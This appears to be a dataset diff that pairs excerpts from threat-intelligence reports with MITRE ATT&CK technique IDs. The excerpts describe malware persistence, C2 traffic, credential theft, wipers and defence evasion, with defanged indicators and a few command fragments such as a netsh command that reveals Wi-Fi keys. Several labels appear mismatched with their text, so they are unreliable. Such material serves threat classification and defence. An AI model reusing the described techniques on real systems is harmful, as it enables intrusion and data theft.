+After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode. The decryption algorithm is RC4, which takes the hardcoded path to form the decryption key. If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service. In most cases, the payload is a first-stage backdoor, and its main purpose is to retrieve second-stage payloads — either by connecting to a C&C server or opening a port to wait for external connections and load incoming executables	['T1140']
+"Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. The purpose of this malware is to perform destruction of the host, leave the computer system offline, and wipe remote data. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started"	['T1135']
+This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability	['T1190']
+The email attachment is encrypted and stored in the compressed package, and a decryption password is provided in the mail body to bypass the security detection of the email gateway	['T1027']
+Like any other typical PoS malware, Pillowmint iterates a list of processes and process them two at a time. it uses the API OpenProcess() using the PROCESS_VM_READ and PROCESS_QUERY_INFORMATION flags to obtain a handle then reads the memory’s content via ReadProcessMemory() API two chunks at a time. It then captures Track 1 and Track 2 credit card (CC) data. Depending on the Pillowmint version, it may encrypt the stolen CC data with AES encryption algorithm + Base64. Other versions may just encode the plain Credit Card Data it with Base64	['T1005', 'T1560']
+Lastly, the attackers used Comodo code-signing certificates several times during the course of the campaign. Many of the above TTPs are not unique to ITG08, but collectively, and with the use of More_eggs, strengthen the link to this group	['T1047']
+Other interesting keys include LSMinimumSystemVersion which indicates the (malicious) application is compatible with OSX 10.7 (Lion), and NSUIElement key which tells the OS to execute the application without a dock icon nor menu (i.e	['T1564.003']
+The Gorgon Group Crew Breakdown Finding accessible directories, in combination with their other operational security failures, made it easy to start connecting the dots on Gorgon Group members. 360 and Tuisec already identified some Gorgon Group members. In addition to Subaat, we counted an additional four actors performing attacks as part of Gorgon Group. While it’s not known if the attackers physically reside in Pakistan, all members of Gorgon Group purport to be in Pakistan based on their online personas. fudpages One member of Gorgon Group- we're calling ‘fudpages’, was found during this campaign activity based on their utilization of shared infrastructure. One specific Microsoft document drew our attention. 446e1c80102c8b9662d66d44525cb9f519369061b02446e0d4cd30cd26d79a25) This Microsoft Word document was sent via email to several industries across the US and Switzerland. We noticed that this document pulls down additional malware from a C2 also being used in attacks by other Gorgon Group members. Additionally, this document communicates to a relatively new piece of C2 infrastructure- umarguzardijye[.]com, which is hosted on 91[.]234[.]99[.]206	['T1566.001']
+After installation, a keylogging routine begins. The malware writes keystrokes and window information to a filename in the present working directory with the following filename	['T1074.001']
+A separate communication channel is created for each installed module. The communication protocol used is TLS over TCP. The communication is handled with the HP-Socket library. All the messages are RC4 encrypted using the hardcoded key. If the size of the message to be transferred is greater than or equal to 4KB, it is first compressed using zlib’s Deflate implementation	['T1095']
+This component achieves persistence through the Run registry key and has full backdoor capabilities: it can download and execute binaries, run arbitrary commands or upload files from the victim computer to the C&C server	['T1547.001']
+"The purpose of this malware is to perform destruction of the host, leave the computer system offline, and wipe remote data. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started"	['T1529']
+Shathak or TA551 is the name some security researchers have given to a specific distribution method that uses password-protected ZIP archives as attachments to malspam. It has used Word document templates targeting English-, Italian-, German- and Japanese-speaking recipients. Shathak/TA551 has been active at least as early as February 2019	['T1566.001']
+"MechaFlounder begins by entering a loop that will continuously attempt to communicate with its C2 server. The Trojan will use HTTP to send an outbound beacon to its C2 server that contains the user's account name and hostname in the URL. The code, seen in Figure 2, builds the URL by concatenating the username and hostname with two dashes ""--"" between the two strings. The code then creates the URL string by using the username and hostname string twice with the back-slash ""\"" character between the two and by appending the string ""-sample.html"	['T1041']
+The malware scans for both open TCP ports 135 (RPC) and 1433(MSSQL) against the target, be it internal or external, and probes for the credential weakness in attempt to gain unauthorized access	['T1046']
+Since FoggyWeb runs in the context of the main AD FS process, it inherits the AD FS service account permissions required to access the AD FS configuration database. This contrasts with tools such as ADFSDump that must be executed under the user context of the AD FS service account	['T1005']
+If the scanning target is an IP address, Xbash will try to scan many TCP or UDP ports. Here are part of services they’re probing and the ports used	['T1046']
+Samples compiled in 2017 and 2018 were hard-coded with specific URI patterns to communicate with the C2 server via HTTP POST requests	['T1071.001']
+Dedicated methods resolve additional strings and API calls at runtime, rendering the PE even more difficult to analyze. Below is an example of the method responsible for resolving the .bazar domains. It loads an obfuscated string, and deobfuscates it using the first character of the domain name as a XOR key for the rest of the string	['T1140']
+SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server	['T1059.001']
+EvilBunny is a multi-threaded bot with an integrated scripting engine. It incorporates a Lua engine and downloads and executes Lua scripts to reach a certain level of polymorphism. The Lua scripts can call back into the C++ code to alter the malware behavior at runtime	['T1059.003']
+Despite this indictment and other disclosures of COBALT DICKENS campaigns, the threat group (also known as Silent Librarian) shows no signs of stopping its activity as of this publication. CTU™ researchers have observed the threat actors using free online services as part of their operations, including free certificates, domains, and publicly available tools	['T1608.005']
+This function keeps receiving data from the system clipboard and then determines if it is a valid bitcoin wallet address. If yes, it overwrites the wallet address with the attacker’s	['T1115', 'T1565.002']
+After being extricated from the network, Dark Halo then returned a second time, exploiting a vulnerability in the organization's Microsoft Exchange Control Panel. Near the end of this incident, Volexity observed the threat actor using a novel technique to bypass Duo multi-factor authentication (MFA) to access the mailbox of a user via the organization's Outlook Web App (OWA) service. Finally, in a third incident, Dark Halo breached the organization by way of its SolarWinds Orion software in June and July 2020	['T1190']
+"Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. We assess with moderate confidence that these documents were sent to victims via phishing emails. One such trojanized document was created on April 23, 2019. The ""Blackwater.bas"" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. Screenshot of the stager found in the document The stager then reached out to the actor-controlled C2 server located at hxxp://38[.]132[.]99[.]167/crf.txt. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. rCecms=BlackWater"". Notably, the trojanized document's macro was also called ""BlackWater,"" and the value ""BlackWater"" was hard coded into the PowerShell script"	['T1204.002']
+If elevated privileges are not obtained, the malware falls back to using the same Windows registry run key as the older mode variant for persistence HKCU\Software\Microsoft\Windows\CurrentVersion\Run. For each service, the malware attempts to take control of the service’s executable — first using icacls.exe with the /reset flag to reset the executable’s permissions, then using takeown.exe with the /F flag to take ownership of the executable	['T1222.001']
+Microsoft discovered these new attacker tools and capabilities in some compromised customer networks and observed them to be in use from August to September 2020. Further analysis has revealed these may have been on compromised systems as early as June 2020	['T1047']
+The script itself decodes and executes a large blob of base64-encoded text and converts it into a huge byte array	['T1140']
+Ebury v1.4 has a fallback mechanism whereby a domain generation algorithm (DGA) is used when the attacker doesn’t connect to the infected system via the OpenSSH backdoor for three days. Under these conditions, Ebury will exfiltrate the collected data using the generated domain. Ebury v1.6 has the same mechanism, but there is a minor change to the DGA itself	['T1568.002', 'T1008']
+Figure 7: Dropbox-themed landing page with a lure asking users to click a button that links to the malicious document	['T1204.001']
+Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. All these builds exhibit common functionality.Agent.btz is a DLL file. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\winview.ocx.This file is also encrypted with the same XOR mask. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.Files thumb.dd and mssysmgr.ocxAgent.btz is capable to create a binary file thumb.dd on a newly connected drive	['T1560.003']
+The cluster targeting Brazil used hacked websites and Google Ads to drive users to download the malicious installer. The campaign targeting other countries used spear-phishing as the delivery method	['T1189']
+In cases where spam attachments could be verified — once a user has opened the attachment and enabled macro functionality — a PowerShell script downloads either Emotet, Bokbot or Trickbot, with the end payload being TrickBot	['T1566.001']
+There are likely differences in the Skeleton Key malware documented by Dell SecureWorks and the Mimikatz skeleton key functionality. If all the DCs don’t have skeleton key configured, the master password won’t work when the client authenticates to a DC without skeleton key. Scenario: Either the attacker exploits MS14-068 or has the KRBTGT NTLM password hash and uses it to generate a Kerberos Golden Ticket to impersonate a valid Domain Admin account. Domain Controller Security Events When Implanting the Mimikatz Skeleton Key: When implanting the skeleton key remotely using Mimikatz the following events are logged on the Domain Controller. Authenticating with the Mimikatz Skeleton Key: Testing user password and user account with skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password. Testing Domain Admin account with password & skeleton key password. Note that both passwords are accepted – the valid user password and the skeleton key master password. Skeleton Key Mitigation: - Protect domain-level admin (DLA) accounts (Domain Admin, Administrators, etc) which reduces the risk of attackers gaining access to these credentials. Don’t let DLA accounts logon to systems at a different security level from Domain Controllers	['T1098']
+In the first case, attackers create two WMI event filters and two WMI event consumers. The consumers are simply command lines launching base64-encoded PowerShell commands that load a large PowerShell script stored in the Windows registry. Figure 1 shows how the persistence is established	['T1546.003']
+The Updater.exe program has the same program icon as CelasTradePro.exe. When run, it checks for the CheckUpdate parameter, collects the victim’s host information (System Owner/User Discovery [T1033]), encrypts the collected information with a hardcoded XOR encryption, and sends information to a C2 website (Exfiltration Over C2 Channel [T1041	['T1082', 'T1041']
+running software, system name, IP address) - install additional malware onto the system - check for the presence of 29 different antivirus tools	['T1518.001']
+Poseidon utilizes a variety of tools. Their main infection tool has been steadily evolving since 2005, with code remnants remaining the same to this day, while others have been altered to fit the requirements of new operating systems and specific campaigns. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective	['T1059.001']
+All the strings used by the malware are encrypted and are decrypted by Rijndael symmetric encryption algorithm in the “<Module>.\u200E” function. This function receives a number as an input and generates three byte arrays containing input to be decrypted, key and IV (Figure 6	['T1140']
+As with other adversaries that mine cryptocurrency opportunistically, Blue Mockingbird likes to move laterally and distribute mining payloads across an enterprise	['T1021.002', 'T1053.005', 'T1021.001']
+In our analysis we could observe how the adversary ensures persistence by delivering an LNK file into the startup folder	['T1547.001']
+ESET researchers have dissected some of the latest additions to the malicious toolkit of the Advanced Persistent Threat (APT) group known as OceanLotus, also dubbed APT32 and APT-C-00	['T1027']
+"Executes VBScript using Process.Start. The third-stage DLL proceeds by loading the ""AdvancedRun"" resource into memory, decompressing it and dropping it as ""AdvancedRun.exe"" into the %TEMP% directory. Drops AdvancedRun.exe using File.WriteAllBytes. AdvancedRun.exe"" is a tool provided by Nirsoft to execute a program with different settings. Once the tool is dropped, the third stage DLL will leverage it to execute two commands in the context of the Windows TrustedInstaller group. The TrustedInstaller group was an addition to Windows beginning in Windows 7 with the goal of preventing accidental damage to critical system files. AdvanceRun is one of the tools that can be used to execute commands in the context of the TrustedInstaller user. This functionality is only available via CLI and requires the flag of ""/RunAs 8"", which is shown in the commands below. The tool will be deleted from the %TEMP% directory after executing both commands. The first command leverages the Windows service control application (sc.exe) to disable Windows Defender"	['T1562.001', 'T1078.001']
+Stonedrill (Trojan.Stonedrill): Custom malware capable of opening a backdoor on an infected computer and downloading additional files. The malware also features a destructive component, which can wipe the master boot record of an infected computer	['T1561.002']
+Services may be created with administrator privileges but are executed under system privileges, so an adversary can also use a service to escalate privileges from Administrator to System. They can also directly start services through Service Execution. 29],[30(link is external)] - During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. 32(link is external)] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly	['T1036.004']
+The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo	['T1016']
+The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal information from the target host. If this check succeeds, a randomly-generated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is made over HTTPS	['T1016.001']
+The “Documents,” “Downloads,” “Desktop,” and “Pictures” folders of every user are checked. The DLL file also examines drives other than C	['T1083']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. In particular, review network access for use of mobile USB modems on corporate systems	['T1102.001']
+The decrypted result is saved as “%APPDATA%\\Microsoft\Windows\Cookies.exe” (T1001) 6) If the file size of “%APPDATA%\\Microsoft\Windows\Cookies.exe” exceeds 4,485 bytes, it is executed	['T1547.001']
+"Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. PROMETHIUM has been resilient over the years. We have no evidence that the websites of the real applications were compromised to host the malicious installer. The usage of the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key has a persistence mechanism that has been replaced by the creation of a service. If it is executed with the ""help"" parameter, it will install a service to execute itself as a service. This has a notable side effect: if rmaserv.exe is executed isolated on a sandbox (so without the parameter), the service is not created. Document search module: Mssqldbserv.xml . This module has been described before in the article here. The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\DOCUME~1\<USER>~1\LOCALS~1\Temp\4CA-B25C11-A27BC\, each selected file will be compressed into the file kr.zp"	['T1204.002']
+With domain administrator privileges obtained, the threat actors then moved laterally throughout the network using SMB and RDP to deploy Cobalt Strike beacons on the domain controllers around 1 hour after the initial execution of Bazar. On the domain controllers, some additional discovery was done using the PowerShell Active Directory module. After establishing Cobalt Strike beacons on those they felt ready to proceed to their final objectives	['T1021.002']
+In order to encrypt network shares, BitPaymer will attempt to enumerate the sessions for each user logged onto the infected host and create a new process, using the token of each user. These new processes will first spawn a net.exe processing with the view argument to gather a list of network accessible hosts. For each host, BitPaymer spawns another net.exe process with command net view <host> using the newly discovered host as a parameter. This will return a list of network shares available to the impersonated user on the host. Once a list of all available shares has been gathered, BitPaymer attempts to mount them to be encrypted	['T1135', 'T1134.001']
+This hardens the encryption of the network communication, as a single RC4 key will not decrypt the entire payload. Leverages existing Windows registry key that is enabled by default in Windows 10 to store configuration data. Generates unique session keys for each connection to the C2 server. Employs polymorphic code, changing its runtime footprint during code execution to thwart memory analysis and evade signaturing. Encrypts or decrypts function blocks (code blocks) during runtime, as needed, to evade detection. Uses position independent code (PIC) to throw off static analysis tools	['T1140']
+Upon execution, MCMD spawns a console process (cmd.exe) with redirected standard input and output (I/O) handles. Immediately after execution, the window properties of both the MCMD and cmd.exe processes are modified to prevent them from being visible on the active user's desktop. MCMD utilizes the shared I/O handles to send and receive data between the C2 server and the command shell (see Figure 1	['T1059.003', 'T1564.003']
+1) The malicious .rtf file exploits CVE-2017-11882. 3) The malware creates a child process, “mshta.exe,” which downloads a file from: hxxp://mumbai-m[.]site/b.txt. 4) b.txt contains a PowerShell command to download a dropper from: hxxp://dns-update[.]club/v.txt. The PowerShell command also renames the downloaded file from v.txt to v.vbs and executes the script	['T1059.001', 'T1140']
+This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. The communication occurs via HTTPS over port 443	['T1071.001']
+Once settles on victim’s information systems, Egregor communicates with its Command and Control servers via HTTPS protocol so as to drop scripts or dynamic link libraries on infected hosts. You can find the list of C2 identified during investigations in section “IP Addresses	['T1071.001']
+OverWatch observed the threat actor retrieve three files with VBS file extensions from remote infrastructure. These files were then decoded using cscript.exe into an EXE, DLL and DAT file respectively. Based on the telemetry available, OverWatch believes these files likely constituted a reverse shell, which was loaded into memory via DLL search-order hijacking.2	['T1574.001']
+These mechanisms are used to attempt installation and execution of perfc.dat on other devices to spread laterally. For systems that have not had MS17-010 applied, the EternalBlue and EternalRomance exploits are leveraged to compromise systems. The exploit launched against the victim system depends on the operating system of the intended target	['T1210']
+Commands received from the control server are encoded DWORDs - After decoding, these DWORDs should be in the range 123459h to 123490h	['T1132.002']
+Basically, the shellcode’s main purpose is to launch other code stored in the registry key \REGISTRY\SOFTWARE\Microsoft\DRM. Below is the disassembled shellcode and commentaries for interested readers	['T1012']
+"In observed traffic these HTTP response bodies attempt to appear like benign XML related to .NET assemblies, but command data is actually spread across the many GUID and HEX strings present. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: ""\{[0-9a-f-]{36}\}""||""[0-9a-f]{32}""||""[0-9a-f]{16}"". Command data is spread across multiple strings that are disguised as GUID and HEX strings"	['T1001.002']
+Turla has many names in the information security industry — it is also known as Snake, Venomous Bear, Uroburos and WhiteBear. Turla likes to use compromised web servers and hijacked satellite connections for their command and control (C2) infrastructure. Instead, they use a compromised system inside the targeted network as a proxy, which forwards the traffic to the real C2 server. Well-known malware like Crutch or Kazuar are attributed to Turla. Lately, we have also seen research that has shown potential links between the Sunburst backdoor and Turla. Not every campaign run by Turla can clearly be attributed to them	['T1090.001']
+The C2 server will respond to the HTTP requests to the “bat&m=d” URL with a batch script that update.vbs will save to the “dn” folder and execute. The output of the downloaded batch script is saved to a text file in the “up” folder and uploaded to the C2 server via an HTTP POST request to the following URL	['T1074.001']
+"We saw a Waterbear loader named ""ociw32.dll"" inside one of the folders in the %PATH% environmental variable. This DLL name is hardcoded inside ""mtxoci.dll"" which is loaded by the MSDTC service during boot-up. mtxoci.dll” first tries to query the registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI"" to see if the value ""OracleOciLib"" exists. If so, it retrieves the data inside it and loads the corresponding library. If the value doesn't exist, “mtxoci.dll” tries to load ""ociw32.dll"" instead. During our investigation, we noticed that the value ""OracleOciLib"" was deleted from the victim's machine, as shown in Figure 2. Hence, the malicious loader ""ociw32.dll"" was loaded and successfully executed on the host"	['T1112']
+This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has used, maintained and updated development of this code for years. Its code contains anti-detection functions specifically designed to identify sandbox environments in order to thwart antivirus detection attempts	['T1497']
+Archive files that contain a legitimate executable and a malicious DLL, to be used in a DLL hijacking technique, taking advantage of legitimate executables such as Outlook and Avast proxy, to load a malicious DLL	['T1574.002']
+"Embedded Trojan This Trojan loaded by the first payload contains several embedded executables that it uses to ultimately download and execute a secondary payload, as well as downloading and opening a decoy document. Upon execution, this Trojan checks to see if it was configured with ""BINDERON"" to determine if it should extract an embedded payload from a resource named ""B"", save it to %TEMP%\%BIND1%, and create a new process with the embedded payload. While the Trojan was configured to carry out this activity, the actor did not embed a payload within the ""B"" resource, so this functionality does not carry out any activities, rather it just causes an exception and continues running. Another configuration option encountered by this Trojan is a check for '%STARTUPON%'. This sample was not configured to execute with this option enabled, however, should this option be enabled, the Trojan would attempt to install itself to the system at a specific location by writing its contents in base64-encoded format to the following file"	['T1140']
+On November 9, 2018, we observed a relatively small email campaign (thousands of messages) delivering a new malware family that we call “ServHelper” based on file names associated with infection. The campaign primarily targeted financial institutions and was attributed to the threat actor TA505. The messages (Figure 1) contained Microsoft Word or Publisher attachments with macros that, when enabled, downloaded and executed the malware. This campaign used the “tunnel” variant of ServHelper, described in the “Malware Analysis” section	['T1204.001', 'T1204.002']
+VALUEVAULT is a Golang compiled version of the “Windows Vault Password Dumper” browser credential theft tool from Massimiliano Montoro, the developer of Cain & Abel	['T1555.004']
+Contains two DLL function exports: start and ss2 - Not dropped to the disk - Responsible for terminating processes and stopping/disabling services related to endpoint security - Responsible for file encryption - Responsible for creating multiple worker threads for encryption - Responsible for creating the ransom notes - No longer uses the process rundll32.exe as a loader, but instead uses the MegaCortex binary as the DLL loader - Responsible for deleting volume shadow copies using vssadmin.exe and wiping deleted data from all drives using cipher.exe	['T1561.001']
+The TerraLoader code performs several integrity checks before dropping the payload. These checks implement anti-debugging techniques and try to identify anomalies to prevent execution in sandboxed environments. Some of these techniques range from detecting incorrect parameters, filenames and extensions, to detecting hardware breakpoints or identifying specific modules loaded into the subject process. Should these checks all pass, the actual payload is decrypted and executed	['T1497.001']
+The script is executed by the scheduled task used to maintain persistence, with its main goal being	['T1053.005']
+Despite the notion that modern cybersecurity protocols have stopped email-based attacks, email continues to be one of the primary attack vectors for malicious actors — both for widespread and targeted operations. Recently, Cisco Talos has observed numerous email-based attacks that are spreading malware to users at both a large and small scale. In this blog post, we analyze several of those campaigns and their tactics, techniques and procedures (TTPs). These campaigns were all observed between mid-May and early July of this year, and can likely be attributed to one, or possibly two, groups. Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. Simple campaigns typically use a single technique and often embed the final executable payload into the exploit document. The malicious emails display a strong command of the English language, and their content may have been taken from legitimate emails relevant to the business of the targeted organization. The emails either contain a URL pointing to one of the three document types or have initial attack stages attached outright	['T1559.002']
+If I open up the WebCacheV01.dat file in ESEDatabaseView or BrowsingHistoryView, I see browsing history leading up to my testing. Initially, I thought it was grabbing a copy of the file from a previous Volume Shadow Copy (VSC) but that isn’t the case. Esentutl.exe is able to use the Volume Shadow Copy service to make a backup of a locked file	['T1003.003']
+1) These lure documents attempt to exploit the Microsoft Office Dynamic Data Exchange (DDE) protocol in order to gain access to victim machines. 2) Once the Gallmaker attackers gain access to a device, they execute various tools, including	['T1204.002', 'T1559.002']
+The GoldMax malware was discovered persisting on networks as a scheduled task impersonating systems management software. In the instances it was encountered, the scheduled task was named after software that existed in the environment, and pointed to a subfolder in ProgramData named after that software, with a similar executable name. The executable, however, was the GoldMax implant	['T1036.004', 'T1036.005']
+Prior to execution of any recon command to gather information from the target machine, the default codepage of the console is changed to “65001” (utf-8	['T1082']
+The malware cleans the system event logs using OpenEventLog/ClearEventLog APIs, and then terminates the setup procedure with a call to StartService to run the stage 4 malware	['T1070.001']
+APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes	['T1003', 'T1003.001']
+Discovery of a Stealthy New Malware: “CSPY Downloader” is a tool designed to evade analysis and download additional payloads	['T1105']
+The payload is embedded in the macro as Base64 code. It uses the certutil program to decode the Base64 into a PE file which is then executed	['T1140']
+Scheduled tasks enable administrators to run tasks or “jobs” at designated times rather than every time the system is booted or the user logs in. This feature can be implemented via the Windows COM API, which the first versions of Ramsay have tailored. Based on the high ratio of similarity with Carberp’s implementation, it’s highly probable that Ramsay’s implementation was adapted from Carberp’s publicly available source code	['T1559.001', 'T1053.005']
+"48b9e25491e088a35105274cae0b9e67 MD5 hash of the current timestamp calculated during execution. MD5 hash of the current timestamp calculated during execution. 5-15 Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes - Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes - 0 0 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting” - 0 Activate execution timestamp (0 by default) — execution ""activates"" or continues if current time is greater than the value in the configuration - Activate execution timestamp (0 by default) — execution ""activates"" or continues if current time is greater than the value in the configuration - - Base64-encoded User-agent used in HTTPS requests"	['T1124']
+MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks	['T1020']
+Interestingly, the server mapped to kneeexercises[.]net listens for incoming HTTPS connections on several ports and uses common names seen on other C2 domains. For example, ports 2083 and 8443 had CN firstohiobank[.]com, and TCP port 2087 had a TLS certificate with the common name dentalmatrix[.]net. We observed use of these non-standard ports during some of the older intrusions, while the newer ones mostly use port 443	['T1571']
+The Avaddon ransomware executable is not packed. However, its strings appear Base64 encoded using a custom alphabet. The Avaddon ransomware uses the Windows crypto API to generate an AES key, with which it then (presumably) encrypts the data. The generated AES key is then exported and encrypted via a previously from the ransomware binary imported key	['T1106']
+The malware sample contains some interesting static artifacts including self-signed digital certificates used to sign the executable purporting to be software from the Foxit Software Incorporated company based in California. It is not known why the actors picked this company -- and others listed in Table 1 below -- to impersonate but, as previously mentioned, their use of filenames and URLs makes their payloads appear benign and trustworthy	['T1587.002']
+persistence: Somewhat interestingly, OSX/Dok persists in two phases. First as a Login Item, then as Launch Agents. When Dok is (naively) launched by the user, it will executed logic to persist as a Login Item. As their name implies, Login Items will execute an application when the user logs in. Apple describes how to create a Login Item both manually and programmatically	['T1059.002']
+The NOKKI payload is written to %LOCALAPPDATA%\MicroSoft Updatea\svServiceUpdate.exe prior being executed in a new process. Persistence is achieved by writing the file path to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svstartup registry key	['T1547.001']
+Prior to privilege escalation, Egregor proceeds to Active Directory reconnaissance using tools such as Sharphound or AdFind. These tools are used to gather information about users, groups, computers, and so on	['T1033', 'T1069.002']
+The following command line is a service created by CobaltStrike and can be found in Windows Event Logs (event id 7045). It runs an encoded powershell command	['T1059.001']
+When a victim opens the document, Microsoft Word asks to enable/disable macros. It reveals that a macro is embedded in the document	['T1059.005']
+From my analyses, I was able to identify http://mdzz2019.noip[.]cn:19931 as its main C2 url. This is a dynamic DNS, meaning the actual IP changes quite frequently. Additionally, on that same url, http://mdzz2019.noip[.]cn:3654/ is used to distribute more versions of this Gh0stRAT sample, along with a .zip file containing ASPXSpy, a web shell	['T1568.001']
+The plugin proceeds to iterate through all connected drives on the system, looking for removable drives	['T1120']
+"Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to "".exe. Here is an example decoy document: The purpose of the VisualBasic script is to execute the payload. Although the malicious part of the binary is only 2MB, the final file is more than 120MB in size, padded out with random data. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019"	['T1036']
+This is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update Client to bypass security detection mechanisms	['T1547.001']
+The code then uses the identified functions to add persistency through registry and add next stages file names identifier through the following locations	['T1037.001']
+"As happens so many times, it contains a Visual Basic script that will execute the malicious activities. This ZIP file contains a Python interpreter and Python script that is actually the RAT. The Word macro will unzip and execute the main script called ""launcher.py. The launcher script is responsible for checking the environment that the doc is currently being opened in. It assumes that all sandboxes will have hard drives smaller than 62GB. If it's in a sandbox environment, it will overwrite the malware scripts with the contents of the file ""License.txt"" and exit, thus deleting itself. Anti-sandbox code If it determines that it is not running in a sandbox environment, it will generate a unique ID, that is then replaced directly with the Python source code of the main scripts before executing it"	['T1070.004']
+Listing the C:/ drive contents using cd C:/; ls; - Listing the specific Wi-Fi profile details using netsh wlan show profiles name='<Name>' key=clear; - Listing the drives using Get-PSDrive	['T1083', 'T1049']
+1) Use of zip file that contains a “.lnk” (Windows Shortcut) file. 2) Utilization of double extension trick (sample.doc.lnk) to convince users to open the file. 3) HTA (HTML Application) with VBScript embedded in the “.lnk” file 4) VBScript drops payloads and opens a decoy document or PDF to the user	['T1059.005']
+The malware’s second functionality is to gain persistence on an infected machine. After obtaining persistence, the next functionality of Linux Rabbit is to brute force SSH passwords which ultimately allows the malware to install the cryptocurrency miner onto the server. The SSH brute forcing begins by the malware first generating a random IPv4 string and checking its geolocation to see where it is located. If the IP is located within a country that is “blacklisted,” it will stop and move on until it finds an IP that is located in an allowed geolocation, which for this malware are Russia, South Korea, the UK, and the US. Once an allowed IP location is discovered, Linux Rabbit will check to see if an SSH server is listening on Port 22. The malware will open a socket to see if it receives a response, and if it does, it will attempt to obtain the machine’s hostname. If the TLD is not blacklisted, the malware will run through a process of authentication utilizing a list of hard-coded credentials it has	['T1033']
+"txt,log} and is also a ""cryptojacker,"" which is a tool that uses a victim’s computer to mine cryptocurrency"	['T1056.001', 'T1557']
+1) Communicate with the C2, try to forward ports with UPnP and determine available ports and report them to the C2. The usual C2 communication protocol used here is HTTP POST RC4-ciphered JSON data. Instead of saving the downloaded file, QakBot measures the download speed and deletes the received file. 3) Set up external PROXY-C2 connection that was received with command 37 (update config)/module 274 (proxy) by the stager	['T1071.001']
+"To start, the implant looks for the AHNLAB V3 Antivirus software's class name ""49B46336-BA4D-4905-9824-D282F05F6576"". If the software is found, the implant will hide the AV software window from the view of the infected user"	['T1564.003', 'T1562.001']
+Exfiltrated data is encrypted using an RSA public key, preventing third parties from decrypting it. An example exfiltration request is below	['T1027']
